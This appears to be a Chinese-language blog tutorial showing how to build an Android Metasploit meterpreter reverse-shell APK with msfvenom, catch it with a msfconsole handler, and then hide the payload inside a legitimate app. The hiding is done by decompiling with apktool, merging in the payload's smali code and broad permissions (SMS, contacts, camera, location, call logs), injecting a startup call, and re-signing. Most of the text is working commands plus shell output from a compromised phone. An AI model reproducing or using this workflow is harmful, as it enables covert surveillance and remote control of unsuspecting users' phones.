msfvenom生成apk payload然後得到meterpreter shell
阿新 • • 發佈:2018-11-15
先生成一個payload,帶上meterpreter監聽的地址和埠:
msfvenom -p android/meterpreter/reverse_tcp LHOST=<your public IP> LPORT=80 -o msf.apk
由於大號埠在我的wifi環境下無法出去,所以這裡我設定為80埠。
然後安裝這個apk到手機。
注意不要在主機上用nc監聽,雖然能收到來自apk的TCP包,但是那只是心跳包,沒有資料的。
然後用root許可權開啟msfconsole(因為要監聽在80埠,得用root許可權才行),在msf上監聽:
use exploit/multi/handler set LHOST 0.0.0.0 set LPORT 80 set PAYLOAD android/meterpreter/reverse_tcp exploit
Demo
用前置攝像頭拍到的照片
最後不知道做什麼了,就用一個android的shell:
meterpreter > shell Process 1 created. Channel 1 created. pwd /data/data/com.metasploit.stage/files id uid=10113(u0_a113) gid=10113(u0_a113) groups=1015(sdcard_rw),1028(sdcard_r),3003(inet),50113(all_a113) context=u:r:untrusted_app:s0 su pwd /data/data/com.metasploit.stage/files ls cd .. ls cache files lib cd lib ls cd ../.. ls opendir failed, Permission denied
參考:https://nestedif.com/android-security/android-reverse-shell-using-metasploit/
將生成的payload整合到正常apk中
- 用apktool對msf.apk進行反編譯;用apktool對helloworld.apk進行反編譯。
- 將msf.apk中的AndroidManifest.xml許可權加到helloworld.apk的AndroidManifest.xml中。
<uses-permission android:name="android.permission.INTERNET"/> <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/> <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/> <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/> <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> <uses-permission android:name="android.permission.SEND_SMS"/> <uses-permission android:name="android.permission.RECEIVE_SMS"/> <uses-permission android:name="android.permission.RECORD_AUDIO"/> <uses-permission android:name="android.permission.CALL_PHONE"/> <uses-permission android:name="android.permission.READ_CONTACTS"/> <uses-permission android:name="android.permission.WRITE_CONTACTS"/> <uses-permission android:name="android.permission.RECORD_AUDIO"/> <uses-permission android:name="android.permission.WRITE_SETTINGS"/> <uses-permission android:name="android.permission.CAMERA"/> <uses-permission android:name="android.permission.READ_SMS"/> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/> <uses-permission android:name="android.permission.SET_WALLPAPER"/> <uses-permission android:name="android.permission.READ_CALL_LOG"/> <uses-permission android:name="android.permission.WRITE_CALL_LOG"/> <uses-permission android:name="android.permission.WAKE_LOCK"/>
- 將apktool得到的smali目錄下的所有檔案複製到helloworld.apk的smali目錄下。
- 然後找到原apk中的入口Activity的onCreate()方法:
在其下面一行加入:
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
- 回編譯:
apktool b helloworld(使用apktool反編譯helloworld.apk生成的目錄)
在helloworld/dist目錄會得到一個apk。
6. 此時得到的apk是沒有簽名的,需要用jarsigner對其簽名。(如果沒有keystore檔案,可以用命令先生成一個)
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore C:\Users\caiqiqi\cqq.keystore E:\BaiduNetdiskDownload\apktool\helloworld\dist\helloworld.apk cqq
簽名之後會覆蓋原始的helloworld.apk。
參考:https://www.blackhillsinfosec.com/embedding-meterpreter-in-android-apk/
自動化指令碼:https://github.com/yoda66/AndroidEmbedIT/blob/master/android_embedit.py